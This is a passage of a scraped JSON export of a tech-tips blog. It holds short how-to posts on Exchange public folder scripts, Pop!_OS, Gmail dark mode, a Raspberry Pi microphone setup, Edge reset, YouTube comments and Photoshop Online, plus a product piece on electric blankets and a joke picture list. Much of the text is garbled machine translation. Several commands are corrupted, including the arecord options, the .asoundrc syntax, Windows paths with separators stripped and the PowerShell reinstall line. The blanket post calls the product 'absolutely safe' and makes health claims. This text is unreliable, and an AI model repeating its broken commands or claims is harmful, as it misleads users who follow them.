subdirectories, that way all information will be available on both machines. master. The syntax below can be used, see below:\n.AddReplicaToPFRecursive.ps1 –server srv-ex01 –TopPublicFolder 'IT' –ServertoAdd srv-ex02\nTime to validate if the script works as expected, let's use Exchange Management Shell to see such information. Using the Get-PublicFolderStatistics –Identify 'IT' | fl command and considering the properties of Replicas (Figure 5), we will see two Public Folder databases where the information is being configured. Both srv-ex01 and srv-ex02 both have the same Public Folder database name.\n  Figure 05\nWe can also remove duplicates from a directory and its subdirectories, using the following syntax:\n./RemoveReplicaFromPFRecursive.ps1 –server -ToPublicFolder 'FolderName'-ServerToRemove\nSometimes the Exchange Admin has a replica set with both servers and another server entered into the organization to remove one of the existing servers. We can use the example below, where we have ex01 and srv-ex02 are regenerating and will remove the server srv-ex02 then add the server srv-ex03 to the current copy list, see below:\n./ReplaceReplicaOnPFRecursive.ps1 –Server srv-ex01 -TopPublicFolder 'Foldername' –ServerToRemove srv-ex02 –ServerToAdd srv-ex03\nFinally, the MoveAllReplicas.ps1 (this is not the last scenario) is where we can transfer all Public Folders from one server to another. This operation will remove the server from all replica tabs. It is a very useful scenario when we demonstrate a server. The syntax of the statement is quite simple.\n./MoveAllReplicas.ps1 –Server srv-ex02 –NewServer srv-ex03\nNote: \n When using the MoveAllReplicas.ps1 script, System Folder will also be transferred.\nManage user permissions on folders\nIn the last part we will look at how to configure Public Folder replication, now we will configure some permissions on Public Folder. Use the Public Folder structure as shown in Figure 6.\n  Figure 06\nLet's assume that we need to add a Publishing Editor user to all IT folders and subdirectories, we can do that using the AddUsersToPFRecursive.ps1 script and need to specify the set The parameters refer to where we define which directory, which user, which permissions will be configured. This syntax can be used:\n.AddUsersToPFRecursive.ps1 –Server srv-ex01 –TopPublicFolder 'IT' –User Anderson.patricio –Permissions {PublishingEditor}\nUsing the above command, the user named Anderson.patricio will be assigned to Publishing Editor in all folders and subdirectories of the IT directory structure. We can define a set of custom permissions in public folders, such as CreateItems, ReadItems, CreateSubfolders, etc. Besides Role-based permissions can be defined. Each role has a set of pre-defined permissions that will be applied. The roles and text that can be used with the -Permission parameter of the script are in the following table:\nRole access The value is used with the parameter parameter\nOwner\nOwner\nPublishing Editor\nPublishingEditor\nEditor\nEditor\nPublishing Author\nPublishingAutor\nAuthor\nAuthor\nNon-editing Author\nNonEditingAuthor\nReviewer\nReviewer\nContributor\nContributor\nFolder Visible\nNone\nTo validate which permissions are allowed, we can run the following command:\nGet-PublicFolderClientPermission IT | fl\nBoth steps are shown in Figure 7.\n  Figure 07\nWe can change user permissions in a directory structure using a script called ReplaceUserPermissionOnPFRecursive.ps1. Let's assume that we want to change the existing user added to PublishingAuthor instead of Publishing Editor, to do that, you can use the syntax below:\n./ReplaceUserPermissiononPFRecursive.ps1 –TopPublicFolder 'IT' –User anderson.patricio –Permissions {PublishingAuthor}\nWe can also remove users from a directory and subdirectory using the RemoveUserFromPFRecursive.ps1 script:\n./RemoveUserfromPFRecursive.ps1 –TopPublicFolder 'FolderName' - user UserNametobeRemoved\nYou will be asked in each folder but if you want to remove a user, just press Y to confirm.\nAnother option here is to replace an existing user listed on Public Folder permissions for other users. The script does not change the terms but only changes this user to another user. All terms are completely unchanged.\n./ReplaceUserWithUserOnPFRecursive.ps1 –TopPublicFolder 'FolderName' - UserOld UsertobeReplaced –NewUser NewUserName\nConclude\nIn this article, I have shown you how to use the scripts available in Exchange Server 2007 to manage Public Folders. Using such scripts we can completely manage Public Folder replicas and client permissions with a command line script.\nncG1vNJzZmismaXArq3KnmWcp51kuqK6wKCgp59dpcKjuMicZJ%2BnnJmys3nRnqeloZOWwaq7zWaYp5xdmLmqsc2tZKmdoqK2tL%2FIqKWsZaeewal50pypoqikqHqxrdGtZGo%3D\n","link":"/post/managing-public-folder-replication-and-client-permissions-with-scripts/","section":"post","tags":null,"title":"Managing Public Folder replication and client permissions with scripts"},{"body":"System76 is one of the well-known hardware companies in the field of free and open source software. The company sold computers running Ubuntu for more than a decade and caught the attention when it announced it would create its own Linux-based operating system, called Pop! _OS.\nA few weeks ago, Pop! _OS was officially released for the first time and available for download. Today, we will find out if Pop OS! _OS is cool and compared to Ubuntu, it's different.\nPop! _OS What is it? Pop! _OS is a Linux operating system, based on Ubuntu, the most popular desktop Linux version. Basically Pop! _OS is quite similar to what you see on Ubuntu.\nIf you do not know much about Linux, then you need to know something like this: System76 does not build Pop! _OS operating system from the beginning, this is essentially a Linux distro, a way to distribute Linux kernel and all Free software needed to bring a complete computer experience to users.\n  Although Pop! _OS seems like Ubuntu, that doesn't mean that this Linux distro is nothing special. System76 does not simply paste the Pop! _OS name on Ubuntu. By creating its own operating system, System76 was able to own the software experience. They have created a better user interface, more impressive error correction capabilities. This is similar to how Apple provides both hardware and software for users who buy MacBooks, although System76 is still dependent on outside developers and organizations for most of the code contained in Pop! _OS.\nFor new users of Linux Pop! _OS uses GNOME desktop environment. The user experience seems unfamiliar if you've just switched from Windows, macOS, ChromeOS to Linux, but don't be too confused, GNOME is not complicated and doesn't take a long time to learn.\n  The top of the screen is the control panel, like taskbar on Windows, time display and other elements of the system. Clicking the Activities button on the top left will open the Overview screen. There you can open the app from the dock on the left, see open windows in the middle or interact with virtual screens on the right. The bottom icon of the dock opens a compartment for all applications installed on the computer.\nWhich distro should I use with Linux?\nPop! _OS is different from Ubuntu? If you have used Linux for years, this will be an interesting part. Why should I try Pop! _OS if it's like Ubuntu a lot? Let's look at the differences below to see if it's interesting.\nTheme\nSystem76 wants Pop! _OS has a new shirt and own feel by tweaking two Adapta GTK theme themes and Papirus icon set to create Pop and icon themes for Pop! _OS. The result is an interface in brown, blue and orange, quite consistent with the typical colors in the company's brand. Many people like these 2 themes so using Pop! _OS will be more convenient than having to install and customize too much.\n  Where is the dock?\nUbuntu 17.10 has \"bid farewell to\" Unity to return to GNOME. But to make the transition easier, Canonical lets a dock on the left side of the screen and is always displayed there.\n  Pop! _OS has no such display display dock.\nLess preset apps\nUbuntu comes with some pre-installed software. Pop! _OS is less, there are several names to tell like Firefox, LibreOffice, code writing tool, terminal, calendar and weather application. There are no games, fewer system utilities, no Rhythmbox, but you can get them from Pop! _Shop.\n  AppCenter instead of GNOME Software\nSystem76 replaces GNOME Software of Ubuntu with AppCenter, with applications created specifically for your operating system.\n  More shortcuts\nDon't let the name of this operating system fool, it sounds cute, but Pop! _OS is aimed at advanced users such as developers, makers or computer science experts. So, Pop! _OS is also equipped with many different keyboard shortcuts to help users manipulate faster.\nSeparate NVIDIA version\nPop! _OS provides a separate version for computers using NVIDIA graphics cards, you don't need to find drivers or learn how to download and install them.\nBetter support\nSystem76 is a hardware company. The company's computer was created with a pre-installed Linux version. This means that their business model is focused on providing a high quality Linux experience on the desktop, interface problems or overall experience are quickly fixed. You don't need to wait for Ubuntu or Canonical fix community anymore.\nSmall particles\nNothing is too bad to talk about Pop! _OS. Some applications like LibreOffice don't look very natural, the menu bar isn't the same color as the title bar. In addition, changes made to the application icon are not identical, you will notice the icons in the Pop theme display are different from those not in this theme. These particles are not significant, it can be solved with an update in the future.\n  Who should use Pop! _OS? Whether you own a System76 computer or not, you can still install Pop! _OS. If you like Ubuntu and are curious about this new operating system, you should try.\nLink to download Pop! _OS: https://system76.com/pop\nSee also: Basic Linux commands everyone needs to know\nncG1vNJzZmismaXArq3KnmWcp51kvbC8jJimrGWnna61ecisZKKsXZ7AbrXTZqOio5ViwqPBza2s\n","link":"/post/pop-os-what-is-it-is-it-like-ubuntu/","section":"post","tags":null,"title":"Pop! _OS What is it? Is it like Ubuntu?"},{"body":"In harmony with the atmosphere 'the home refers to dark mode, people use dark background', and after many days of waiting, Google has finally 'suffered' to add a dark background for the Gmail mobile application. on Android and iOS platforms. Currently this feature is being implemented for users of both Gmail versions of Android and iOS by region.\nGoogle introduces a new feature that makes it easy to find important moments in a video   A new update of the Gmail app for Android and iOS, with a dark background, is now in the works\nDark theme or dark theme mode (dark theme - dark mode) has really become a technology trend that has been widely accepted around the world since the beginning of the year. With the benefits that I bring, dark background is increasingly appearing more and more and becoming an integral part of the user interface on every application, platform, and even on websites. society.\nRecognizing that trend, Google has now begun to deploy a dark background on some of its important applications, including gmail. Mountain View's move was late compared to many other big companies, but it was better nonetheless!\nGoogle Maps added incognito mode Incognito Mode   Dark background on Gmail apps for Android and iOS\nDark background will appear when the Gmail app on your phone is updated to the new version. Of course, this mode will not be enabled automatically by default, but you will have to manually activate, by going to Settings (Settings) -\u0026gt; Themes (Themes) and then select the Dark background (Dark ).\nBesides, Gmail will also comply with the local theme settings on the device, so if your phone's operating system is being set in the dark, Gmail will also be set to automatically. dark background, for better synchronization with the operating system.\nGoogle Assistant is adding many new voice options created by AI   Gmail will be automatically set to dark background if your operating system is also in dark theme\nThere is also an interesting new feature that is only applied on Pixel phones: When Battery Saver mode is enabled on Pixel phones, the Gmail app will automatically be changed to a dark theme. By default to optimize system power consumption.\nA new update of the Gmail app for Android and iOS with a dark background has now begun rolling out to users around the world starting today, September 25. However, as mentioned, Google will deploy the update in each region, so it may take up to 15 days for you to receive this new Gmail update.\nGoogle Chrome 77: New interface, customizing the Tab page, Chromebook Assistant, and a number of other notable changes ncG1vNJzZmismaXArq3KnmWcp51kwamxjKamm6GcmnqoucCio2aZoKW5qq%2FAraCopl2drrR5wGabmqqbYq%2Bir8qgqaitnpk%3D\n","link":"/post/the-mobile-gmail-application-has-a-dark-background/","section":"post","tags":null,"title":"The mobile Gmail application has a dark background"},{"body":"No need to spend a lot of time, with the free applications that we introduce below will help users easily back up Instagram images to a computer or an online store.\nInstaport All you need to do is log into Instaport.me website with your Instagram account, then grant access to Instagram image data for this web-based tool.\n  By default, Instaport allows users to download all their compressed images in * .zip format to their computers. However, users can also choose to download only images for a specified period of time, only download the 10 most recently posted photos or other options under Advanced Options. In the near future, Instaport will provide more support features to save photos on Instagram to Facebook or Flickr.\nGramGrab GramGrab is also a backup tool for Instagram photos on the web. Similar to Instaport, GramGrab users must also log in with their Instagram account to use this tool.\n  GramGrab has a more intuitive interface because all images are displayed in a grid format. Users can choose to save any image instead of having to save the entire photo album on Instagram. If you want to preview and save only important images, GramGrab can be a good choice.\nInstaBackUp InstaBackUp is a tool exclusively for Mac users. After downloading the device and completing the installation process, users must also log in with their Instagram account before downloading the entire image to the computer.\n  InstaBackUp has a simple interface design. With just one click, all Instagram images will be saved to your computer. InstaBackUp is compatible with Mac OS X 10.7 Lion and 10.6 Snow Leopard.\nInstagram Downloader Unlike InstaBackUp, Instagram Downloader is designed exclusively for Windows users. The way Instagram works is similar to InstaBackUp for Mac users. Users can also download all Instagram photos to their computer with just one click. Instagram Downloader is compatible with all Windows versions.\n  Instadrop If you are using Dropbox storage service, you can easily backup all Instagram photos to this online repository with the help of Instadrop. Similar to the online backup tools introduced above, Instadrop will also link your facebook account to your Instagram account.\n  After a successful 'connection' , each image taken from the Instagram app will be automatically saved to your Dropbox repository. However, it should be noted that you can only save recently captured images from the Instagram application. This means that pre-existing images on Instagram will not be automatically saved to your Dropbox online repository.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kn6qVmnq1u86lqmasn2Kvoq%2FKrqdmqJikwbC%2FjKilZqGeqMGis9GapA%3D%3D\n","link":"/post/top-5-free-tools-to-backup-photos-on-instagram/","section":"post","tags":null,"title":"Top 5 free tools to backup photos on Instagram"},{"body":"To use the microphone with the Raspberry Pi, you'll need to do one of two things. Buy micro USB or USB sound card. Micro USB could be the cheaper and easier way for microphones to work with the Raspberry Pi.\nAlternatively, you can purchase an HAT to expand the sound capabilities of the Raspberry Pi with the addition of the analog input. There are various projects that the microphone comes with, such as setting up a Raspberry Pi as an Alexa or Google assistant.\nConnect the microphone to the Raspberry Pi There are 4 different ways you can connect a microphone to your Raspberry Pi.\n1. Micro USB Micro USB is the easiest way for microphones to work with the Raspberry Pi. One of the most significant advantages of using micro USB is its simplicity. The Raspbian operating system will automatically detect the microphone when it is plugged in.\nIn some cases, you will need to modify the .asoundrc file to help Alsa sound driver understand which device should be used.\n2. Micro Bluetooth Connecting a Bluetooth microphone makes things a little more complicated. For this to work, you'll need to either use a Raspberry Pi 3 or higher or use a USB Bluetooth receiver.\nTo connect the microphone to Raspberry Pi, you can follow the instructions: How to set up Wi-Fi and Bluetooth on Raspberry Pi 3.\nAfter pairing the microphone, you'll be able to use it just like micro USB.\n3. 3.5mm microphone While the Raspberry Pi doesn't have any 3.5mm input jack for connecting to analog microphones, there are ways you can work around this problem.\n4. USB sound card One of the cheapest ways to connect a microphone to a Raspberry Pi is to use a USB sound card.\nWhat a USB sound card does is convert the 3.5mm analog connection into a digital (digital) signal that can be sent over a USB connection. They are very easy to use. The Raspbian operating system should be able to work automatically.\nConfiguring Alsa on Raspberry Pi for microphone Before starting this section, make sure you've plugged the microphone into your Raspberry Pi. Whether it's via USB soundcard, HAT or using micro USB.\nStep 1. Go ahead and update the operating system by running the following two commands. Running these two commands will ensure that everything is up to date.\nsudo apt update sudo apt upgrade Step 2. With the OS updated, go ahead and locate the microphone seen by the Alsa driver. To view all available recording devices, you need to run the following command.\narecord -l Step 3. From this command, you should see something like the one below appear in Terminal.\nTwo things you need to pay attention to are the card number and the device number.\n**** List of CAPTURE Hardware Devices **** card 1: Microphone [Yeti Stereo Microphone], device 0: USB Audio [USB Audio] Subdevices: 1/1 Subdevice # 0: subdevice # 0 Once you have determined the device number of the microphone, proceed to the next step.\nIf nothing appears, make sure that your device is plugged in properly.\nStep 4. With your device and card number now available, go ahead and create the configuration file for Alsa. This configuration file will help Alsa driver understand what device it should use to record audio. Start modifying the file by running the following command.\nnano /home/pi/.asoundrc Step 5 In this file, enter the following text. Make sure you replace [card number] and [device number] with the values ​​you retrieved in step 3 of this section.\npcm.! default {type asym capture.pcm \"mic\"} pcm.mic {type plug slave {pcm \"hw: [card number], [device number]\"}} Once done, save the file by pressing CTRL + X, followed by Y, and then ENTER.\nRecording using the microphone on the Raspberry Pi   In this section, we will show you how you can record using your microphone on your Raspberry Pi.\nStep 1. To record audio on Raspberry Pi, use the following command. This command will create a recording using the microphone and save it as a wav file named out.wav.\narecord --format = S16_LE --rate = 16000 --file-type = wav out.wav After completing the recording, you can exit the tool by pressing CTRL + C.\nIf you get an error while running this command, make sure that the microphone is plugged in properly. Also, make sure that you've configured everything correctly by verifying the contents of the .asoundrc file.\nStep 2. You can verify that the microphone was successfully recorded by playing it back. To replay the recording you just made, run the command below.\naplay out.wave If you can hear your recording then you have successfully recorded it with the microphone already.\nGain control for microphones on Raspberry Pi If you have difficulty hearing recorded sound through the microphone, you can adjust the gain (a measure of signal amplification).\n1. The easiest way to do this is to use the Alsamixer tool by running the following command.\nalsamixer 2. Using this tool, you can use the arrow keys to increase and decrease gain. If the microphone is not available, press the F6 key to select the microphone.\nOnce done, exit the program by pressing the ESC key.\nuse microphone with Raspberry Pi ncG1vNJzZmismaXArq3KnmWcp51kwrS1zaBkraCVYrqqr9Gop6Gnnpp6uLXToWStoJViv6K%2Fz5ucq6qpYr2q\n","link":"/post/using-the-microphone-with-the-raspberry-pi/","section":"post","tags":null,"title":"Using the microphone with the Raspberry Pi"},{"body":"Winter comes with cold weather, which can affect human health especially families with older people and children. Electric blankets are one of the hot items in the market because of the fast warming feature that ensures safety and convenience. So why do you need to buy electric blankets in winter ? Let's find out about this product line together.\nAn electric blanket is a great way to get warmer in winter, protecting you and your loved ones' health.\n  Principle of operation of electric blankets Electric blanket (also called electric cushion) is made up of 2 parts: the body and the control device.\nThe electric blanket body is made up of two or more layers, including a layer of thermal conductors that are inserted inside the fabric layers:\nThermal conductor : made up of 2 components, the heat conductor core and synthetic fiber covering the outside. The core only has the effect of conducting heat, not conducting electricity, surrounded by heat-resistant synthetic fibers. The fabric of the cushion body: made of two or more layers of fabric and cotton that are fastened together through heat pressing. The fabric used is usually cotton and velvet felt. Control device: constructed with different heat retention steps (with many heat retention steps). Built-in self-disconnection and power-saving mode ensures user safety. With the above structure, electric blanket products are considered to be absolutely safe for users. The probability of electric leakage is unlikely to occur, the impact of the magnetic field is negligible. Product life depends heavily on the quality of the fabric on the body and the durability of the control box.\nUsing a heating pad just gives us a pleasant and warm feeling that users can breathe fresh air at night. Using electric blankets helps to provide stable warmth for the body in cold weather.\nCushioning electricity helps blood and blood circulation, good for health, keeping legs, benefits bones and muscles, especially the elderly and young children.\nBuy any kind of electric blanket? Currently, there are many different types of electric blankets in the market originating from famous brands such as Lanaform, Medisana, Beurer, Kyungdong . All products are manufactured according to advanced technology, with pepper The standard ensures rigorous testing.\n  This electric blanket product line is also highly appreciated about the heating process of the product which takes place quite quickly. Just plugging in for a few minutes, the electric blanket has warmed up and can be used. This is also the most modern electric blanket product line with its own control design, this control helps us to set the timer and adjust to increase and decrease the temperature during the usage process, both safe and economical. Power used for your family. Besides the body warming process, when using electric blanket products, we can help blood circulation better and the metabolism process is faster, especially for older people with joint and bone diseases. postpartum female.   Note when using electric blankets: When you are using electric blankets, you should pay attention to avoid water on the part of the plug that causes short-circuit, fire, electrical leakage. Do not arbitrarily remove or repair the blanket if something goes wrong, instead of calling the dealer to get help.\nWhen discontinuing use, the blanket should be removed from the power source. Absolutely do not allow water to contact the controller of electric blankets. When used, blankets should not be wrapped around the body. When washing by machine, keep in washing net . Electric blankets (electric cushions, heating pads) are safe, but also a type of electrical equipment, so they should not be washed by machines because they are easily twisted, breaking the internal heating wire. It is also not advisable to soak the water, but to keep the socket and controller dry, avoid moisture and short-circuiting, fire, especially with floating and unidentified goods. When electric blankets (electric cushions, heating cushions), electric blankets are dirty, it is advisable to clean the surface by using a wet cloth and wiping with soap and then scrubbing clean. With useful information from this article, hope you can choose the right type of electric blanket and use it safely.\nThank you for following the article\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjKecnpxdqbxurtSyZJ6klZjBs7XCZpmlmZ6gsrW%2FjKKlZq%2BZo8Gmvg%3D%3D\n","link":"/post/why-need-to-buy-electric-blankets-in-winter/","section":"post","tags":null,"title":"Why need to buy electric blankets in winter?"},{"body":" Smiling leaning with 20+ images of \"kitchen disaster\" beyond \"imagination\" 20+ people who are utterly unlucky in eating 14 super special schools that you can't ignore Living with a close friend certainly brings a lot of benefits. You will never feel lonely ( even if you want to ), you will often have people to talk to ( even if they don't want to ) and especially someone to share chores with. But you can observe the disadvantages of living with others from the fun images below.\nFrom the fact that my roommate is always the one who is waiting for the opportunity to drown you every time, reveal the shameful secret to scare you to your heart every time you wake up.They are the most dangerous creatures on the planet but at the same time still the cutest children in the world .\nTheir odd actions sometimes cause you to \" run out \" but the series below will prove the danger far beyond your imagination. Let us take a look at 20+ images that show roommates are always the most dangerous kids on the planet .Will you be among them?\nMy roommate told me to buy a mousetrap . and this is the \" live rat trap \"!\n  I still do romantic games again!\n      Having a creative friend like this is fun too!\n  At midnight, are you brave enough to go to the bathroom when you encounter this scene?\n  Always the ones who are waiting to scare you to death.\n  Lost the room key and was assigned a new key to your roommate.\n  The key \"princess\".\n  The eyes are closed and seeing this is going to be gone!\n    If you leave paper like this, what kind of cheek is it, just right!\n  Never ever escape the heart attack when living with these miserable friends!\n  Always full of tools but .\n  Again . Probably lying on the ground waiting for it to be lost!\n  In the same room, the photo is a matter of course, but muddy to this extent, it is \"empty\".\n  He invited me to play a game like this!\n  The worst case here!\n  Looming in the distance is \"darling\"!\n  You should be mentally prepared that things can fail in a way you can't expect!\n  There must be Shaolin's \" flying like a bird \" scout to be able to sleep!\n  Warm up emotionally!\n    I wonder why he can think of this game anymore!\n  Hands .\n  Going to the bath also must have a reception to welcome new polite.\n  While you are losing weight, it brings back a pile of food. It is true that each other's stamina is challenging!\n  I don't know if it was accidentally or intentionally!\n  Here is the \"Hawai\" beach here!\n  Your room suddenly becomes a chicken farm.\n  It's a little joke .\n  Sweet explanation.\n  He told me a piece of pizza! Suspense opens and results .\n  Imagine if you get up early in the morning to see this thing next to you with \"vinegar\"?\n  Who is weak and faint!\n  Continue.\n  \"Packet\" furniture carefully.\n    When you have to live with a diligent person who studies theory.\n    Anything must be clear like this!\n  Store food carefully if you don't want them to \"evaporate\" for a moment.\n  See also: 20 impressive ads where creators can read our thoughts\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kf3F5yKaYoJ2jYsCpu9Zmq6GZpGK%2FsLvMppitnaNirrOxjJqjsJmpqHq1tMRmpKirpGKxorrGnqmoraNiuKqwjKilZqyYmnqxuMCnnK0%3D\n","link":"/post/20-images-show-that-roommates-are-always-the-most-dangerous-kid-on-the-planet/","section":"post","tags":null,"title":"20+ images show that roommates are always the most dangerous kid on the planet"},{"body":"One of the new features integrated on Windows 10 is the appearance of the Microsoft Edge browser. Many predict that in the future most likely this browser will completely replace Internet Explorer browser.\nIf you are an Edge user, and in the process of using you encounter a browser error that crashes or does not work, then you can reset the browser to its default state or proceed to uninstall the browser, Then proceed to reinstall to fix the error.\nAlternatively, use browsers like Chrome and Firefox to replace the Edge browser.\nI. Reset Edge browser to default setting To reset the Edge browser to its initial default setting, follow the steps below:\n1. First open the Edge browser .\n2. On the Edge browser window, click the 3 dots icon in the top right corner of the screen, select Settings .\n  3. Next under Clear browsing data , click Choose what to clear .\n  4. Click Show more .\n  5. Finally, select all items and click Clear .\n  II. Uninstall and then reinstall EdgeII browser Microsoft Edge is part of Windows 10, so you can't uninstall the browser in the usual way: go to the Programs and Apps section on Control Panel.\nTo completely remove browser settings, then reinstall Edge, you must uninstall and reinstall the application package (App Package).\nStep 1: Start Windows 10 computer in Safe Mode To start a Windows 10 computer in Safe Mode, follow the steps below:\n1. Right-click the Start button, then select Run .\n2. Enter msconfig in the Run window and press Enter to open the System Configuration utility.\n  \n3. On the System Configuration window, at the Boot tab, select Safe Boot and then click OK .\n  \n4. Restart your computer.\nStep 2: Rename or delete the Package folder of the Edge browser 1. Press the Windows + R key combination to open the Run command window.\n2. Enter the following command in the Run window and then click OK or press Enter :\n% localappdata% Packages\n  \n3. Rename the \"Microsoft.MicrosoftEdge_8wekyb3d8bbwe \" folder to \" Microsoft.MicrosoftEdge_8wekyb3d8bbwe_OLD \" or delete the folder.\nNote:\nIf you delete this folder all favorites stored in the browser in the folder '120712-0049' will be erased.\nC: Users% Username% AppDataLocalPackagesMicrosoft.MicrosoftEdge_8wekyb3d8bbweACMicrosoftEdgeUserDefaultDataStoreDatanouser1120712-0049\nReplace % username% with your username.\n4. Follow the steps below.\nStep 3: Start your computer in normal mode To start your Windows 10 computer in normal mode (normal mode):\n1. Right-click the Start button, select Run .\n2. Enter msconfig in the Run command window and press Enter to open the System Configuration utility.\n3. On the System Configuration window, at the General tab, click Normal Startup and then click OK .\n  \n4. Restart your computer.\nStep 4: Reinstall Edge browser To reinstall Edge browser, follow the steps below:\n1. Open PowerShell under Admin. To do this thing:\nOn the Search Cortana frame, enter Cortana. On the search results list, right-click PowerShell and select Run as administrator.   \n2. In the PowerShell window, enter the following command and press Enter :\nGet-AppXPackage -Name Microsoft.MicrosoftEdge | ForEach {Add-AppxPackage -DisableDevelopmentMode -Register '$ ($ _. InstallLocation) AppXManifest.xml'}\n  \n3. After the command completes, close PowerShell again.\n4. Restart your computer.\n5. After the computer has finished booting, you can open Edge browser to use it and no errors will occur.\nTips:\nIf you want to restore the favorites in the Edge browser that you just reinstalled, just copy the folder ' 120712-0049 ' from the old Edge folder to the new folder and you're done.\nExample: Copy directory 120712-0049 from:\nC: Users% Username% AppDataLocalPackagesMicrosoft.MicrosoftEdge_8wekyb3d8bbwe_OLDACMicrosoftEdgeUserDefaultDataStoreDatanouser1 /\nAnd paste this folder into:\nC: Users% Username% AppDataLocalPackagesMicrosoft.MicrosoftEdge_8wekyb3d8bbweACMicrosoftEdgeUserDefaultDataStoreDatanouser1 /\nRefer to some of the following articles: Knowing these 21 shortcuts you will be able to use Edge browser fluently Instructions to completely remove Youndoo.com on all browsers This is how to speed up Edge browser Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksqWzxGaZq6enqLKzecSrqaiqXZi%2For%2FHnqpmp6JisbCx0malqKxdrLyzt4ytn6KrXZ7Abq2Mn6Cx\n","link":"/post/edge-browser-error-crashes-or-does-not-work-this-is-a-fix/","section":"post","tags":null,"title":"Edge browser error crashes or does not work, this is a fix"},{"body":"If another YouTube user posts your comment, video comment or YouTube channel, you can use the toolbar to moderate or delete those comments (in case comments you feel are inappropriate, You can delete).\n1. Delete, report or hide comments When someone comments on your video, you will receive a notification. Click on the arrow at the top right of the comment to manage the comment:\nDelete : Delete comment and reply to YouTube Report Spam or abuse : Report comments you think are Spam or abuse with the YouTube development team. Hide this user's comment on the channel: Block users from posting comments or commenting videos on your YouTube channel. You can also delete this user from the list of hidden users (hidden users list in your community settings). 2. Review the filtered comment as Spam If someone leaves a comment like spam, you'll see a blue banner on the channel or video. You can review, approve or delete these comments.\nGo to Creator Studio\u0026gt; Community\u0026gt; Comment or go to youtube.com/comments page and look under the Likely Spam tab.\n  3. Keep comments for approval You can request approval of all new comments before posting to your video or channel.\nVideo comment 1. Find videos on Video Manager (Video Manager).\n2. Under the video, click on Edit .\n3. Click Advanced Settings (Advanced Settings).\n4. Under the Allow comments section (Allow comments), select Approved.\nChannel comment (channel) Follow the instructions to enable this setting for your channel in the Channel navigation settings .\n4. Select the default comment view on your video You can change the default comment view for each video you upload. Select the Newest first view if you want to sort comments by time or select Top comments to rank the comments by algorithm.\n1. Upload a new video onto or edit one of your existing videos.\n2. Open the Advanced Settings tab in the Information and Settings section of your video.\n3. In the Comments section (Comment), you will see a drop-down menu with the option \"Sort by\" (Sort by).\n4. Use this drop-down menu to select the default view of the comments on your video as the Latest Comment view or Top comments view.\n5. Save your changes.\n  Explore more:  Fix Flash errors when watching videos on YouTube   How to create a new channel on YouTube?   How to create 360 ​​videos and upload to YouTube  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuVo8CwvoycpqallaPBtHnOp2Syp6Wnerq71K2sm51dmLWius2eow%3D%3D\n","link":"/post/how-to-censor-comments-on-your-youtube-channel/","section":"post","tags":null,"title":"How to censor comments on your YouTube channel?"},{"body":"To delete text on photos in Photoshop Online you can follow the following instructions of TipsMake.com us. With this tutorial method, make sure you can erase the text on the image without any hassles.\n  1. Delete the text located in a simple position with Photoshop Online To access the website using Photoshop Online, click the following link: Photoshop Online\nFirst, to delete the text on the image, you need to open that image in Photoshop online. You click on Open Image From Computer to upload photos on your computer to this online photo editor.\n  After the image is uploaded you will see it appear in such a window in the Preview space and now you can use Photoshop Online's tools to interactively edit with your photos. .\n  First you need to create another layer of lights above your existing photo layer by clicking on the New Layer icon in the right column.\n  Then click on the Marquee Tool selection icon to make a selection on the text you want to delete. You should choose an entire area is okay.\n  Next, click on the Paint bucket tool icon and then proceed to fill the selected area. Note that the Paint bucket tool can color over the entire area you have chosen (because you are currently painting on a completely new layer, your color area is not limited by any color borders. different), so the color you choose will be determined by the color in the tray.\nThe color in the color tray is always default to black, so when TipsMake fills the selection in the example, there is no need to change the color anymore because the color around the text is black.\n  But if it is a color other than black, then before changing the color you can change it accordingly by clicking on the Colorpicker tool icon on the toolbar and then click on the location to get the color.\nSo you will get the color at that location into the color tray of Photoshop online.\n  After erasing the word, you proceed to save the image by clicking File on the horizontal toolbar, then select Save .\n  You enter a name for the image, choose the image format and image quality, and then click OK to save the image to your computer.\n  2. Delete text in complex positions with Photoshop Online In Part 1 we learned how to delete text in simple positions, ie those that have a solid background. In part 2, we will learn how to delete words in a bit more difficult position, at this location we can not use the method of monochrome fill as part 1.\nTake the following example:\n  The first step is to duplicate the photo you want to delete.\nYou click on the Layer and select Duplicate layer to create a copy layer just above the original layer.\n  Next, click on the Polygonal lasso tool icon to make a selection around the text you want to delete.\n  In this case we do not use the Marquee Tool because the Marquee Tool is a function to create a wide area of ​​the square, but now we only want to create an area around the text, the smaller the better, the less it will spread to the other background. the better.\nNext, you create a selection around the word to be deleted, remember to click carefully meticulously as much as the image after deletion will be more genuine.\n  After you have made a selection around the text, hover over the border of the selection and drag it to another position that may be right below or right next to the text area, as long as the selected position can cut. out and overwrite the last text area without your image being cropped.\n  Next you move to the Move tool function on the vertical toolbar.\n  You click on the selection and crop the image in the selection drag up to overlap the text you want to delete.\n  Then you can see the text has been removed from the image by taking the image elsewhere inserted in the image to overwrite the text.\n  Finally, you only need to save the image as part 1.\n  Thank you for following the article How to delete text on photos with TipsMake.com 's Photoshop Online . Wish you can successfully implement this trick and delete the text on your photos.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYytnLGsXaS7brzHqKuoq12eu268x6irqKuYpL1uu82loKed\n","link":"/post/how-to-delete-text-on-photos-in-photoshop-online/","section":"post","tags":null,"title":"How to delete text on photos in Photoshop Online"},{"body":"E-commerce websites now become convenient shopping destinations that many people choose. You can find any item you need on these sites, from eyeglasses, clothing to electronic devices like Bluetooth adapter or microSD card. Surprisingly, on many websites, microSD cards with large storage capacity are sold at extremely low prices. Turns out, most of these cards are fake. They still work in the device but display fake capacity. The following article will show you how to detect fake microSD cards.\nDo you know how to distinguish fake microSD cards? What do fake microSD cards look like? How to fake microSD card capacity? How to check fake microSD card 1. FakeFlashTest 2. H2testw 3. ChipGenius  Are fake microSD cards completely useless? Fix fake MicroSD card with DiskPart What do fake microSD cards look like? The following image is an ad on Wish.com for Huawei's microSD Class 10 512GB card (Class 10 means very fast). There are a few issues after viewing this image. Do you recognize it?\n  The main problem is that Huawei, the 'giant' of Chinese technology, does not produce microSD memory cards. Huawei created a proprietary Nano memory card that works with devices manufactured by the company.\nThe next example is Verbatim's Class 10 512GB microSD card. Verbatim also does not produce memory cards 512GB (at least at the time of writing). However, you can still easily find its fake advertising products on the Internet.\n  The last example is a 'Original MicroSD Card' (original microSD card), which doesn't even have a specific brand.\n  However, this microSD 